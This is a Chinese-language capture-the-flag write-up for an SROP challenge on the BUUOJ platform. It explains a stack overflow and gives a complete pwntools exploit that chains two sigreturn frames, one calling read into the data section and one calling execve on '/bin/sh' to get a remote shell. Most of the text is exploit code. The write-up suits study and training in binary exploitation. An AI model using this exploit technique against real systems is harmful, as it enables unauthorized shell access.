1.下载 得到文件 checksec exeinfo
64位 使用IDA64打开
很短的程序 用汇编形式查看
先进行一次write 再进行一次read操作 有栈溢出漏洞
题目说了是SROP 从这方面考虑:
看到代码有pop rax操作 所以考虑栈溢出到该地址并且将rax值设为15 利用data段写入binsh:
poprax_addr = 0x401032
syscall_addr = 0x401033
buf = 0x402000
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = buf
frame.rdx = 0x400
frame.rbp = buf
frame.rip = syscall_addr
payload = b'a' * (0x80 + 8) + p64(poprax_addr) + p64(15) + bytes(frame)
p.sendlineafter("CTF?\n", payload)
将rax设置为15执行sigreturn 然后将frame压入栈中 执行第二个read
因为也执行了leave ret leave指令相当于 mov rsp, rbp;pop rbp
所以要设置ebp指向data段 这样也相当于设置了esp
接下来写入binsh:
frame.rax = constants.SYS_execve
frame.rdi = buf + 0x120
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload2 = b'a' * 0x8 + p64(poprax_addr) + p64(15) + bytes(frame)
payload2 = payload2.ljust(0x120, b'a') + b'/bin/sh\x00'
p.sendline(payload2)
p.interactive()
这段代码将再让rax=15执行sigreturn 获得binsh 前面的8个a是填充到返回地址的数据
(如果前面rbp设置为buf+0x20 相当于设置了一个0x20的数组 这里的填充就要写成0x28)
完整exp:
from pwn import *
context(os='linux',arch='amd64')
#p = process('./srop')
p = remote("node5.buuoj.cn",28552 )
poprax_addr = 0x401032
syscall_addr = 0x401033
buf = 0x402000
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = 0
frame.rsi = buf
frame.rdx = 0x400
frame.rbp = buf
frame.rip = syscall_addr
payload = b'a' * (0x80 + 8) + p64(poprax_addr) + p64(15) + bytes(frame)
p.sendlineafter("CTF?\n", payload)
frame.rax = constants.SYS_execve
frame.rdi = buf + 0x120
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall_addr
payload2 = b'a' * 0x8 + p64(poprax_addr) + p64(15) + bytes(frame)
payload2 = payload2.ljust(0x120, b'a') + b'/bin/sh\x00'
p.sendline(payload2)
p.interactive()
得到flag: